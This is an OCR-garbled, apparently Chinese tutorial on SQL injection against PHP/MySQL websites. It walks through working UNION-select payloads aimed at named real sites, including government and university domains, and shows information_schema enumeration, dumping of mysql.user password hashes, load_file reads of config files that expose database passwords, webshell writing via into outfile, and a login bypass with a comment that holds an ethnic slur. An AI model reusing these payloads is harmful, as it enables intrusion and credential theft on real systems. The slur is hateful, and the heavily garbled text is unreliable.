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phpBAILEY EIIEAEY % P8, % B RMphp®i. RS BasplB2 2 AR T, 2 A phplfiafIiA T, REA
i3 PSR, 0) T 500 i L DR T asp Dinffiitat, RMIAZEALS . RREMPAPHAK Y2 MM ¢, HAKEA (S
RaANTHafh, PeCzemh kbl )

Sl gy ok “inurl:.php?ﬂrlit'uli(l 38— %H: hEAKYE — '—'http://www.chts.cn/info.php?articleid'~545 , il ge
b 3L ITIR 780 (8

AT — Bephpifi 01 (phpfttl—ifif, JF AR Lhs Al ¢ hitiifif) -

SELECT * /* Select all (G&FEAHE) */

FROM products /* products */

WHERE category='bikes' AND '1'='2' /* false condition */
UNION SELECT * /* append all new_products®/

FROM new_products /* to the previous result set */

fl 2 8 mg? 2 FAASKAIAL “//XXXX7, &, %R0, SRR Songi, i NRmEAL D, ®’ikn
oW, fo Ui iR A I ok 4

L2MNLZ AT ?

fEEOK AL | hup://www.chts.en/info.php?articleid=545 Fomin il E3E8F: hup://www.chts.cn/info.php?articleid=545/"ABCD234"/
MR, B IWHIEORE sl —HSR AL, o W AR IR KRNI

filx ' hup://bbsshudoo.com/viewthread.php?tid=179061 1&extra- page%3D ARG ETF1aRE RN ? efnfefof, 9 sRTA,
FAVAGETRY URE S SHRA 21 7 EOR AFUE AR A AT 7 ~ABCD234°/, JEOK Ifphp fURS3ERE

select * from chts_article where articleid=545/"ABCD234"/
R A i 38 PR AR g
BARETFHRA, JINASI TR R, RV TR oG Mg o BTS00 hip://www.chts.cn/info.php2articleid-545 ,
*'I‘Lﬁn% CRTRM200355 WA MGEE T RS AN M 2D , & PRI hp://www.chts.en/info.php?articleid-54 by
" CRTARI20055 A M2 TG T RBER AN 20000 . 4207 A A Wb BRI, 55554515 5540008, 1k
I i Filand HlorK 8t
B8 MGEThitp:/Awww.chts.en/info.phparticleid=545/ABC* /or articalid=54, R Aarticleid=5450150 igKME 151453 XPCC T4
20055 A MAKGE TR RAN SN 1o RELAMTR? ML AN, PSR ZMEEA. Mk
fF1phpifi BEEK 1
select * from chts_article WHEREarticleid = 545/*ABCD 234" /or articleid = 54
At E 158, and Hlorf KA MM 1.
MACEMCLLIEA ™Rl 7, MR MABE . JUCRA RN, WA RIS & TR ARRLR 17,
http://www.chts.cn/info.php?articleid=545/"" /and/**/1-2/** /union/** /select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

EA SRR ¢, Al RIFREAE, BT A R AT admin, 25018 AL
http://www.chts.cn/info.php?articleid=545/"Juliet_NaNa®/and/*Juliet_NaNa®/1-2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/

*Juliet_NaNa®/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet._NaNa*/from/*Juliet_NaNa*/admin/*
T3 TZ RN
SQL kZi: select * from chis_article where articleid=545/"dfgdfgfd*/and/*Juliet_NaNa®/1-2/*Juliet_NaNa®/union/*Juliet_NaNa*/

select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Julict_NaNa®*/from/*Julict_NaNa*/admin/* and visible=1
BXF, KLl 2K ? ;l':phpag

select * from chts_article where articleid=545
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XA S A chts_article ‘Pl RLarticleid, HAE545, B2 &M FERLEY,

http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa®/and/*Juliet_NaNa®/1-2/"Juliet_NaNa®/union/*Juliet NaNa*/select/

*Juliet_NaNa®/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet_NaNa"/from/*Juliet_NaNa"/chts_article/*
wonb &, 28R 7 e

hitp://www.chts.cn/info.php?articleid=545/*Juliet_NaNa®/and/*Juliet_NaNa®/1-2/*Juliet_NaNa®/union/*Julict_NaNa*/sclect/

*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet_NaNa*/from/*Juliet_NaNa*/chts_article/**/where/** /articleid-545/"
WREERE, R RS OREERE TR ot 9B A R 2 BERG, and 1-28%and 1- 1AL, BRhip://www.chts.cn/info.php2articleid-515
—Hifsum, Al 202

WOREEATIE T2 Bl SR I AR Beulaom, R 300 BN 7 bl B, IRZJ50K b /i SR Ry ] GEZS W 3500 B4
FAPHEEMRIMDSM, 3R AR T B 2% ? oA M. FRELVAREIIZ 0 E 2 SR Wi 7 ReA R e, HAmK
REAOA b B HREE MSSQLEK HEMySIRAR S, X FEa] LA I i i f A BRI B2, ASOIIFDT AR, FREAIESE
PAR e,

WA Apower by skvenff1fil 1 :

http://soft.ny.shangdu.com/down.php?id=47488/**/and/** /1-2/** /union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,

21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/** /from /** /downfile| http://soft.ny.shangdu.com/

down.php?id-47488/"* /and/**/1-2/** /union/** /select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,

31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/** /from/** /downfile
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1. X T mysqUB 8 Fluser & % I
MySQLARAXER xBTS, 778 “mysql” , iR EHRIEA, RMSQLINEMRESE. HWibuser
AT T MySQLIPEAA I M5B o A
userd %, user T MM PR, nlRAA Ml 01457 R 52 I
password ‘T EOMEF R E WG A, RA0BTINE S, K BLT mds,
host ‘7 B FLALIX AT P ol ACEYBYEHLES TEBh, W Flocalhost&on HAERAHLE Bh,  hostn] BARE BRI ip e ] BAR B A Nk
AaA, Bl “mysqldbserver” ZK. fihostM “localhost”™ A oA, WMARNR % & XA MK fiphpmyadminiX 4
KPS, DR REnT BRI IR

file_privy FRMUE T IXAY P RA Lol Al & i g fF, R E YW Rseit, REANMEORRL . I
2. MySQLIEATEHIN—X8%

HEAG I UA:
| union*select'1,2.3,X0,4,...n° from*XX00 ! I

SRR A A AP XON T, S BHEAEEE, #lllconcat(user,0x3a,version)

userQ: BIRATI, UM user @ server B root@ localhost il # ik G 75 UK KM root, IRZ5 EBAlocalhost ISR AEA MRS %, I
Il'.iilLX:‘HIR%'ZSf.f?l&llmysthl)sm-.-, I!'.“]U»}éipm&!l 192.168.100.111 Fﬁf!n(]usprm‘ﬁrlmysqlﬁ{“ﬁW]usvl‘&&"'iﬂéj’&, T %ER
(1

databaseQ: “§EIEAE 7, PR KT R PIBARA I 455 I

versionQ: i LT ICER A IERAS, W M4xok 5., BHDRA BB, frfr B RI6xIMRA, IRA ixha il 22 AW # 5
IRAS, fls.x.x nt&kpnt(windows) &5 F'*,H“{]lll}'5(|lm4\o I

@@datadir: FAEIEIT BN Bl (e BIR S R A IS TOCBAE, SRR 7o windowsHEE, WHE T load filel] 5 MBS0
Bl program files\mysql5\ data\ I

concat(Q: WKTVEE. HUK A B union AW, unionl THEAAZSOLIG AL, R M TEAASBIAR ., W HXEIKG AT TR A,
(AR R EA LD, RARBRSIKG RN, a2l B digi bl i A % R A HEM 20 7R, Meoncal iR —KTEA
HOK. flficoncat (username,0x3a,password), AWl B 53 BT, Pl i hex Bl i, H 5 rhex W CAMIEX A 050 112 I
Google) f1510x3a, M ATconcat FIEA RS A HE (FCWUE) L HMIF110x3a,0x5¢,0x5,0x3¢62723¢

group._concat(): JAY Bk, bR b group_concal(DISTINCT +user,0x3a,password), group concatMi A58 X, Wk
TR S A A1, concat —KMFETATR A, UERKITABBAR, TAMEMgroup concadl® 28— KT ALK,
DISTINCTIR#EAE & 7, AL — FkHGoogle— MRTr, .

concat_ws(): WA %P I

hexOlunhexO: 1 DEEAZutl T BRI BRT BRIV X WBEA 15 union K S SOEA FLAMEINES, FibLBLIN
hex 1 E AL F T hex i, B4 unionselect: hex(password) “from+mysqluser TE AHORIIE IS R 0x1234567890abedef 2 UM EHE, {1
winhex§ T FLAE ] 205 BIn], hex B0l TAT M2 50, hex(concat(xxoo)), hex(user()),hex(database()

load fileQ: EAIMySQLBAXA JUBUXPHINS 5, flm: linux BB Hhload file(/ete /passwd) 3k # windows R G 1M Hload I
file(c:\\bootini)o RAEHM MRS, PRuser( RN BB RK T mysqluser&fT 4D, fimysqluser& P17 I file_privi
FAY, Wload cOSEMAINL RTTEINL, WA AwindonsBth, RIASLAEEI ARG WAL B RETH A
AL, AR ORE, PG able, IRARAMHEEDED GRABOREAMRLE | b, o\ DL, fASRERAR, §
LM php 1B S Igp 2B F Mon RS P k0%, P51 5 [ aESOR\) | B Zload file(e:\boot.ini) A& ME: load file
Vet\Wboot.ini\ ) IR A HUR, FIABIER. WRNTEMconca B8 —H, hexilEM, e \bootinilfrhext, f51: 0x633a5¢5¢6
2616174269669, RIIEM: uniontselect1Joad file(0x633a5¢5c6266(742c696¢69) I
Mnlflfload fileZ 8 imn] BAA Mfrom,




Iz} sTitAshpWySELERSH

I select XXO0O into outfile '$#": RMMEAEANA M, WREPEABEFIL. AR union select webshellifhex %k into+
outfile' SNPGRS \aphp's B gp T M off, fEAL, BBRIA, file priv FOAY, ST RAKMAGL, AL
SRR IR 2B P Bl 1 X H AT

3. R I
A, 37 BB, AN B2 ] S ™ 4 CoI il Sl i — 283 6 flllorder byWdescB% 25, falén:

I " SELECT 1,2,3.4 FROM news where id-1 ORDER BY date DESC | I
EVSHUATE

I © seleet 1,2,3,4 from news where id-1 union select 1,2,3,4 from admin order by date DESC |
admin& P fidae 7B, MPDESC? RAFRIN, ARIRL TSP, PBL, WETACM, (ol fliskm—4- B I
bk & /7R, A mitififl, SALXH:

I news.php?id-1 union"select: 1,234+ from ‘admin-— I

news.php?id=1+union‘select1,2,3,4+from*admin/*

I TEAM, union BT 7 d i A4S, AT ? RATRA RO, H%Gnm IR Y CZ550IK, union — ) I
i —ANEAFSQLI B, Zoi St ZIR, Wk and 1-2, SSIHL I ARIRES T2, IBZSKBHIGR 7. ML, ROMM RS
WU A, AMRSAITR2%1234 B75FF (REBRRL002 TR , BLRRER-2 2 WP, RZiMmizRM T, Kib
WA F a0 T, news.php? id=- 1o idiBHEERRLT ¥RV, Wbf gk, offi%fr, FRBA% 12640, Hland 12— H
R, WRLEHIGR, Bl T SR B 7, union F1ZR100%L BB runion PG ARISQLIG I 7,

R P —



oy ESEE(REEER) b

phpBA LIS S IRARYE % P8 IR% MSSRMphpSi®ti. WAHSA BasplB 22 AR T, % A phplfiia i JiA B H. $ekM
2 Mg UERIAR G, TIEMAZ A LS. KA A php BBt (GET) :
$conn=mysql_connect("ip","name","pass");
/BB R
$query="select uid from admin where adminname="$_get|"adminname"|' and password ='$_get["password"|";
// P geOR IR & F Wl
$result-mysql_query($query);
MARRGET, HEEAIAER fikom, EWALpa, phpl:
select uid from admin where adminname="nm’ and password ='pa’;

M E 2Rk T adminlogin.php?adminname-nmé&password-bar , AR AR o' =11, BROR SR 1 - adminlogin.php?
a(lminnaxno:mn&passwor(l:bar'or' 1'-"1, MWDK A 8

select uid from admin where adminname="nm' and password ='pa'or'1'="1’;
—PKphpye KRR BROE 7o I TxssiB0 RANVHRE AR T 7P, AMIE AR IR ¢ SQLIEH KA. MBUIAEAS
get U S R i i B JRIN R Mgeo UieR Wonka £ 6B, UL 0l o RARINT A 5 geto

B REARI LA SRS admin loginphp ARGEWALL Suinfi AR : F5PHHIER. fRGITRgo if% e
SRS admin_ nameMISadmin pass, R uH LR A

select * from administrator where adminname = '$_GET|admin_name|' and admin_pass = '$_GET[admin_pass|'
B IN TR AT AN B Sl
admin'/*hacking by Juliet!

japanese all are dogs®/'

SR PG 7o PR 22 dn: BENS ARG, BRIEA, BGvum, HiphpfIieA S, BAlEE:
PRUGIRA % R BB AR RS

<FORM ACTION- “admin_login.php” METHOD- “get” >

<INPUT TYPE- “text” NAME- “admin_name” VALUE- *” ></INPUT>

<INPUT TYPE- “password” NAME- “admin_pass” VALUE- *” ></INPUT>

A RPPR VG, W% 2Rkl BE 22 IR admin login.php? admin_name-admin&admin_pass-password”  (fRUIAHA IFIAL
adminMlpassword) o X YEHE A& AL L ge UK R T admin login.php S A& TR LIE, AERRHEASQL
g, A REMSQLIEA RN, MR “admin’/“hacking by Juliet! ™ Hl “japanese all are dogs™/™ ZJ, SQLifi flZE5E1K:

select * from administrator

where adminname = 'admin’/*hacking by Juliet! ' and admin_pass = japanese all are dogs"/"
T/ fESQLIEA P AR IR, 4 R W IERIER /BT Re, SCR R INSQLIG fiDA:
select * from administrator where adminname = ‘admin’
R, PVREBARA hifadministrator &P e T adminiX A P A0 BAAHEAARG G T
HWAREAAG G

I
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I php+MySqliE AFS N3 B 1 3 B
BTUH ALK THEANASIAREE, % PHCHEEIE, SIS QBIRA RS ¢, Al NMAR, W &7
o HbsMEh: hip:/Avww.onhing.com.eni@A™ P ALMTRIKI (5 RRET R IM, U RO IR 7585 1FALL: hitp://www.onhing.com.
en/en/pro.php?id=5 WAL IFIX A

http://www.onhing.com.cn/cn/pro.php?id=5+and+1-2+union+select* 1,2,database(),concat(user,0x5f,password),5,6,7,8,9,10,11,12,13,14,

user, 16,17,18,19,20,21+ from *mysql.user
T 7o BT

KRR tost
XM oot
M 14
*puli: 13

XHm: S

Hilstl: 1000

ro0t_*947749800806200E07897302FE489DC24EEEN483

PSS, BIRRAE MySql, RIAT B AT B it, BMSSQLIEA 4, JUCHAAME, HEA “B HkaknpL
To ZIMPABARNC AN, &It &L, WIERAL ChllA Lk, i T EREAL selectikts, FBAREE phpitA
i1, il 7 concat, hex, load file, 0XXX, out intofile®$%, AT A, MABREA P, MWLM AA&BRANATRG T,
Kt p:

+union select 1,2,3,table_name from (select * from information_schema.tables where table_schema= (¥ #°F [l hex order by table_

I schema limit 6,1)t limit 1--

BUMEE A select Tl f14> where table_schema- X4 771 hex . B8 747 B database() HIn], HLARAFM MySqldb &
database O & HORB I £7 20, AhexfilMnl, frRR—Alimic6,7 RIS LEM, Mo, 1.2, 23, 34X 2& FAKIIBL T, f
SIS HOR AR A A. BB Rtest, TRika® Bonty, W HOR AL iR 11
http://www.onhing.com.cn/cn/pro.php?id=5+and+ 1-2+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+
from* (select* *+from*information_schema.tables*where*table_schema-0x74657374order*by*table_schema*limit*6,1)t*limit+1--

—H&%l6,74%: member_info, fifi Fifi member_infollHlmember login, AR AEAN, ARG A, Al
S, PP A AR Ruserse o o o 54
http://www.onhing.com.cn/cn/pro.php?id=5+and+ 1-2+union*select*1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+
from*(select**+from*information_schema.tables*where*table_schema-0x74657374+order+by*table_schema*limit* 13, )t+limit+1 -

HREm: 3
XA 15
KM 14
*wili: 12
x8W: s
Xihtatith: 1000

users

N ——



php+mysglit ABEIEDS

IR AR ¢, B 28K BAgo on [

http://www.onhing.com.cn/cn/pro.php?id=5+and+ 1-2 +union+select*1,2,3,user_name,5,6,7,8,9,10,11,12,13,14,user_password, 16,17,18,
L 19.20.21from*users

R BV adminl1991 4%, B0 A K ?

nd+1=2+union+select+1,.2.3 user_name,5,6,7.89,10,11 12 13, ld,u}ef_pasmrd.m,l7.18,19,20,21v

dshop the.. @& SEBRER.. @ 6Rl (R GR6EL. X | 6 phprMySal. |

XP@te: 3
A

325 - Elaomin 1991
X 14
XKygig: 13
XxBR|: 5

HHE: 1000

R .« 3] Ft silic

WWW.BLACKBAP.ORC

Rl {58 1B
HSERSASRRRS

34t silic
v

r ORE | @ ERATERER V203 280 -3
. . i
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php+mysqliI ABEEDS

php+MySqiEATFR ¥ B 4
AP, KT, TRIBARE 2?7 T Bl Al & AR RGO

+union select 1,2,3,table_name from (select * from information_schema.tables where table_schema= ¥ #iFF £ ‘71 hex order by table

schema limit 6,1)t limit 1

M2, &7 Btk UREAL:

+union select 1,2,column_name from (select * from information_schema.columns where table_name={& il Kif1& & hex{fi and table

schema- B £iffihexfil order by 1 limit 2,1)t limit 1

BRAEBL i limit 6, RIS REG, Mo,1. 1,10 2.1, 3R 28 FARNIML T, ASIAHRMEN A,
fi L
fitk:

http://www.ykxs.gov.cn/newinfo.php?id=125+and +1-2+union*select* 1,2,3,table_name,5,6,7,8,9,10 from *(select* * +from *information _
schema.tables*where+table_schema-0x796B7873676F76order+by*table_schema-limit+0,1)tlimit+1-~

By

http://www.ykxs.gov.cn/jg_view.php?id=141+and +1-2+union*select1,2,column_name,4,5* from+(select**+from*information_schema.
columns*where *table_name-0x61646D696E6973747261746F 72+ and *table_schema-0x796B7873676F 76 order by 1+limit 2, Dt+limit+
l_ —

P i K

l http://www.ykxs.gov.cn/jg view.php?id-141+and+1-2+union*select+1,2,3,4,concat(uid,0x5f,pwd) * from* administrator




=) sbp:WysGL group concatiiiuf]

I A A i flconcat, £ ik 1 I
http://www.loongson.cn/product_info.php?id=33+and+1-2+union *select *1,concat (0x757365723A, user(),0x5¢,0x64617461626173653A,
database(),0x5¢,0x64617461626173652076657273696F6E3A, version()),3,4,5,concat (username,0x5¢,password) from *admin

I B2 S, I

| concat(database(),0x5¢,user() ,0x5¢,version () l

ST IR 2 A AN, IR BA S concar, W0E AT Yo B ARSI AR S n Ty TR A0y, I
—KMGE A A, XH AU, LA concatilfy ¢ THsCZHE, LA NEIGEE K. ARTRE BEEAL 2, BB concatfs
WA, WP AR FE R R ? RaDPREA CIEIPLA 24, hexORES S nIUSH AP, concat QS Sl BAS TR I
NLS

A il concatfa AR BRE ALK STAC R & IO S ERREA #7000, Wesbrdviom— 1 ify, JRAT RIS hiOR T, Bildmosse,
I Ox5¢, O35,

il oL L S L T — gt
/Loongson\ FRERGHS

Ihost\ _china_quban_cn)
versian:5, 0. 5la-244 lenny2

PRI ASES PIRR ) GEE from i iBf i), A RLPVERIA 136 T

hitp://www.loongson.cn/product_info.php?id=33+and+ 1-0*union*select *1,concat(0x757365723A, user(),0x5¢,0x64617461626173653A,
database(),0x5¢,0x64617461626173652076657273696F 6 E3A version()),3,4,5,concat (0x616C6C207461626C65733A, GROUP_CONCAT
(DISTINCTtable_schema))+ from ‘information_schema.columns

EA AR, T R Akame s Wi,

XFRA) | FLLMS | 5908 | RASR m I
WOMN 0 LOITONMLEAOLNR LA
RacEoust

| concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT table_schema)) | I
SCA i i Y concardy FHE f 43 :
| 0x61606C207461626C65733A,GROUP_CONCAT(DISTINCT table_schema) | I
I Wi 1 ¥10x616C6C207461626C65733A0T Ll /M FERALXA “all tables:” , ML GROUP_ CONCATR Fil, SCkn & ifilif S1EEAL:
| select GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns |
I RULIREE, SEICHTRRIbA 7, DA DR — KA S0 R £ (R 18K o I
;ﬁéﬁ\ 2R AW B v vy O st

FRiRGH<

[ XFRL | 1 ¢ RUES | WASH  ANFR | AhRE I
s P8 B AR

f ihong \datab _china_quban,_cn\

@ oz eraion S0 bhn-2is ey’

|
A1 1B lerafenation sehens, & e ade, o S, hise, b 04

o

HFRD TR | X8 | EAL
BN 20 LOATANNTERS (NRBLE
IR,

R P —



E php+MySGL group. concatiigxiE

I PRI iR AL S A Bl TR a0 Bl 8
hitp://www.loongson.cn/product_info.php?id-33+and+ 1-2+union*select*1,2,3,4,5,GROUP_CONCAT(DISTINCT *table_name)+ from

+information_schema.columnstwhere*table schema=0x64625F 6368696E.615F717562616E5F636 K

WL RskA s 7, DAL 0x61625F6368696E615F717562616E5F636F iX AR5 I8l 2 PR ifihex i, 4mif & il it
N, AN IINE 1, Fii&hex(database() o HHORIEERE M CLI ¢, i A~ oxgE I A FLE N 7 &

T B A RRA® RS s s
S 2 Loongson Technology - 5=
/ﬁnqpa“ R - ) (=E

FRERGH <

(i3] XTRS | WPt | s

I W AR
2

@it | BAREH AN TR AhER

sbout, sdnin, design, design_cat, down, dovn_cat, news, nevs_cat, people, product, product,_cat, question, question_cat, tec! no&;y.ahﬂhw
WWW.BLACKBAP.ORC

PRI ARV HA A B TR A Y B AR
http://www.loongson.cn/product_info.php?id=33+and+1-2+union*select+1,2,3,4,5GROUP_CONCAT(DISTINCT*column_name) *
from*information_schema.columns+where ttable_name-0x61646D696F

EANWARE 7, where table_name=0x61646D696E & 144 ¥ it admin, 0x61646D696E f&adminfflhexZhi i

(A ENEE MRS, BT 1A TR T S LA A fist! )

I
I
I
I
I
I
I
I
I
I
-



php+MySGL load_filefgxWB

I php MySqli¥ Aload_fileps HI A I
B iflphp My SqEEARIN R, 5XBARAKT RMITCIEGSIN, 0LAHST T B INR, BLAHT RATEN, S22 A%
AxB RS XRAS, 6 — A load XTI, Eikitload file.

I FHVKG A50H, BRI s iup.eduph (RIS A ABT) GEA L I
l http://www.tup.edu.ph/article.php?id-bulletin&bID-9+and+ 1-2+union+*select* 1,2,3,4,5,6 ]
I HER L , PPBEEERIAAL: C:\wamp wwwharticle.php I

http://www.tup.edu.ph/article.php?id-bulletin&bI D=9+and* 1-2+union*select* 1,2,concat(version(),0x5¢c,database(),0x5c,user() 4,5,6+ J

from *mysql.user
PEIEAA G B AL 5.0.27 community nt\tupems'root@localhost, S IR RS xIFE A, ARLA IR 2058 1, rootBXBRYE! I
http://www.tup.edu.ph/article.php?id-bulletin&bID=9+and* 1-2 *union*select 1,2,hex(load _file(0x433A5C77616D705C7777775C62757
4636865725C636F6E6669672E706870)),4,5,6 I
T 0x433A5C77616D705C7777775C.627574636865725C636F 6E6669672E706870 4% itk sV AL C:\wamp'www butcher\
config.php (AIIAA S Mhex, Ao} T—SCERIHMA, LA, ThexBifnl DB IE AW S RN ER TR ZA, TANA I
— R ZRA R R BRI XGRS 1 C:owamp \www\butcher' config.php E6{ U i:
3C3F7068700D0A2F2F636F6E6669672E 7068 700D 0A24686F73743D226 C6F63616C686F 7374223B0D0A247573657231D22726F6F 742238 I

0D0A24706173733D226B6F616C6173223B 0D 0A24646261736531)227475706361) 73223 BOD0A3F3E

B e e )
HE Y Dot /A" S Banods Imadt” [/ 8>
i e > <o net >

g WL gy e a
retfe T ndempip” Y Howiad) o bevdoig la gt e vndoig,

Bulietin <spr
<br />
A2 A

400 ) (4 g ctupaicaphoidebieiottiosond] | 20 w25
M B Google SicGrovp Youku Shodoo Nams O Bioy |

Aot TLP S Cparn thass " BadeI Dot ove i/ ipen>
<bw /ribw />

TOODOAZAG S &F

COAZF2F 6365 GUL6696 728X TATABD226C4F63636C

7ATINDIA6B6F6

N DAY TXOOAN X6 rtneil |
Slents L v tndh canite pantl <>

Wi LAl <l = sbnet of FRgid posdl =+>

Al LUl = g8 e STINLE Extndy = =>
O2ersion <BIMave Bullebins/>

Panong « 1o Tech b S

s 3 A silic

Onee Sarces ’bmmw.on

fIIWinHexi& KU 14 51:
<?php

//config.php
$host="localhost";
$user="root";
$pass="koalas";
$dbase="tupcms”;

?>

AR AR rooK P G 7

I AN N I I D = S .
L
I AN SN SN SN SN SN N

L p—



php+MySGL load_filefgxWB

php*MySqliE A S XPHIA B LT LM 3

R 6
| Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\hdgl\gzdt_read.php on line 29 I I

look, RARAIZ? XPHAEMEF 5 L IAATEETT. IE2ADR A — Fphp MySqREA BT K — T SiE, MB3EAload file——
Max et LAImIbliddload file® i MARIMYSqALE G, P2 RREAW R, fRIRS, 25 Wi bllt . fnf W Rk
B4, G5 R HA A R C RGBT, SeMySqUEIRA K g, Nk, DB, 2R P, Ekdl
R, M _qulﬁ{Eli Fluser ¥ £%
I | http://www.hdgl.gov.cn/gzdt_read.php?id-85+and* 1-2+union*select 1,concat(user,0x5f,password),3,4,5,6,7,8* from * mysql.user I I

mp:

- BRARICEO A0M000E_T8INSTAEIDTH

Pk, Al&load filefifd® X . i SIS X PHIPETE M: D hdg gzdt readphp, B2 L frhex X, WAERINER 1657
BilY: Ox143A5C6864676C5C677A64745F726561642E706870, load filefriE AMIFIIARL:

[ +unionselect*1,2,3,hex(load_file( ¥ Fhexfi))),5,6,7....8 |
MEAAME—, JRA UL fin e 528, R AR PRI EONA from admin BEFRPR, SRS W, 150k
Ziflload fileTE A FIBEAL:

http://www.hdgl.gov.cn/gzdt_read.php?id-85+and+ 1-2 union-select 1,concat(user,0x5f,password),3, hex(load _file(0x443A5C68646
76C5C677A64745F726561642E.706870)),5,6,7,8' from * mysql.user

b7, & PAIRIE:

I 409800db_7819157¢663ch 791, 11 44 M409800db, W MIE R H7819157¢663¢h79, WA M4, SIBEAMySqIME#A T, M2 RMHE




php+tMySGL Load_filefyExB

fadbd £21 e 2 xIPtm

B-Q-0®-mmp-5

SUN0045, TIN5 1N

AT AN,

T |

Iresiond,

<
€0 VAL 5 ali RA:
coler 2 LN

zazgece?

Toraereeds aliges ter® cellpesdins: cetispacing:

<
<tar<Inax

RBER R gzdtread.phpi® A XPHEAGIIU B L hex IR, SEBIRITTWinHex, 2ZHRMNLE, HURPE: ASCITHEX

i R R
Datalbject $host="localhost";
ANST-ASCTT
UL Pormat $user="jacky";

Ole Private Data 4 =
$pass="HIH";

&, 5 AwebshellfL#%:

Offset | 0 1 2 3 45 6 7 8 9101112131415 S
00000000 00 3C 3F OD OA OD OA 66 75 6E 63 74 69 6F 6E 20 .<?....function || F’u.‘ﬁﬁl‘li.

00000016 74 6F 5F 63 74 6D 6C 28 24 73 74 72 29 7B 0D OA to_html ($str) . |2

00000032 0D OA 24 73 74 72 3D 73 74 72 SF 72 65 70 6C 61 ..§str=str_repla function to_html($str){

00000048 63 65 28 63 63 72 28 31 33 29 2C 22 3C 62 72 3B ce(chr(13), "<br>

00000064 22 2C 73 74 72 S5F 72 65 70 6C 61 63 65 28 63 68 ”, str_replace(ch = LBt L] n .
00000080 72 28 33 32 29 2C 22 26 6E 62 73 70 3B 22 2C 68 r(32), "&nbsp;'.i(x $strstr_replace(chr(l3), br",str_r ep]ace(chr(32), &nbsp. 2
00000096 74 6D 6C 73 70 65 63 639 61 6C 63 68 61 72 73 28 tmlspecialchars .

00000112 24 73 74 72 29 29 29 3B 0D OA OD OA 72 65 74 75 tmlspeculchars(Ssu-)));

00000128 72 6E 20 24 73 74 72 38 0D OA OD OA 7D OD OA OD

00000144 OA 24 63 6F 73 74 3D 22 6C 6F 63 61 6C 68 6F 73 return $str;

00000160 74 22 3B 0D OA OD OA 24 175 73 65 72 3D 22 6A 61

00000176 63 6B 79 22 3B 0D OA OD OA 24 70 61 73 73 3D 22 }

00000192 30 37 35 32 40 35 35 36 30 30 35 39 22 38 0D OA

00000208 OD OA 24 64 62 3D 22 67 6F 6E 67 6C 75 6A 75 22

00000224 3B OD OA OD OA 24 74 61 62 6C 65 3D 22 67 TA 64 ;

00000240 74 22 3B OD OA OD OA 24 66 70 3D 6D 79 73 71 6C t”;....$fp=nysql

00000256 SF 63 6F 6E 6E 65 63 74 28 24 68 6F 73 74 2C 24 _connect ($host, $

00000272 75 73 65 72 2C 24 70 61 73 73 29 3B OD OA OD OA user, $pass);....

00000288 6D 79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 mysql_select_db(

00000304 24 64 62 29 3B 0D OA OD OA 24 73 71 6C 3D 22 73 $db);....$sql="s

00000320 65 6C 65 63 74 20 24 20 66 72 6F 6D 20 24 74 61 elect * from $ta

00000336 62 6C 65 20 77 68 65 72 65 20 69 64 3D AP0 64 ble where id=$id

00000352 22 3B OD OA OD OA 24 72 65 63 5F 69 64 U76D 79 “.....S$rec_id=my

00000368 73 71 6C SF 71 75 65 72 79 28 24 73 T1f6C 2C ﬁ,m

00000384 66 70 29 3B OD OA OD OA 24 72 65 63 79 %

00000400 71 6C SF 66 65 74 63 68 SF 61 72 T 72?.“,' ;

00000416 72 65 63 SF 69 64 29 3B 0D OA 0D 0A44 63759 74 rclc.is;...JhiItE

AR S IR A ™. B R i R PSR A — R IERA f 2 A ) BT Rl frMySquidix,

create table test (a text);

I i
|

I
i —




php+MySGL Load_filepfyExiH

19 500 s G ey it i - =
WV R90) MEH DRSO SEMA 180 1AT) BWLAG) WOW) RO
AP LBRIYE Qe H o020 B-48D-QNOTB-RORN
* |G auery|
1 seiect 8 from mpead.cent it
v —
MR tob 38 i
[T teses | won s (MRASA. | (RENER )
: : el Sk moum ) wmeme: .
- Seckce = (o % s
.- wealga, o |, Socode(’s L4
" 5 " s
g .(I "rvﬂ- 3 4 NG et b >
. 4 preness ST Tusswmo
“ | :
% 3 RSSO W Mo SudvOws
. M| oo - oy s
- | (R st ite ety e scansayy xemipese o, 32 Buss
. ' o] G
- L Feziocooeus
. VRARRARTY) 'S "
.. o o
- KBIReCe
5 § cowmes. i
@ rew ke
% @ roegye ACT ah
ok Lo ’ TaTe
5 @ perpta X » W }J ;A
. sdie
S i %ﬂujimmn—
z@eRaTRT - — - 4] e

I HATELAT MySql i)

select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php';
I LR [ K ad LT DR LR 4 [ EELY [ W13

6 RS - Windows Irtemet Explorer

il e = Mglgoven
2D KRE BOY cRRE IRD RBW
I R ERR @ RuneER

B:\Me\ phy (6

ERNMR ) XRMRATeoer

it ieam

i DA PEARwebshelIIES, &1 AT 8% ¢ A0kl A 2 FIBAHIE T 3R
| Warning: Unexpected character in input: "\' (ASCIT-92) state-1 |
AL RDMMySqUith SCPER AT EUR i % e 882 FL g | i ods TR Il 4 o FRBA— B P& webshe IEBAL S5 — iy, 70
A, WARYSGHREEAGN, WAL 1A oo BRIEERAASIE Ein 824 <8 EE0mA * AR R A n il
AT,

I
I
I
i ——




T A1

Ml 2 AP AZ? FTFARPIA R R TTmm'ul’js‘p‘ MySQL T, JRIMIBIE, Tomeat #ESYSTEM 54 rootifIBBR,
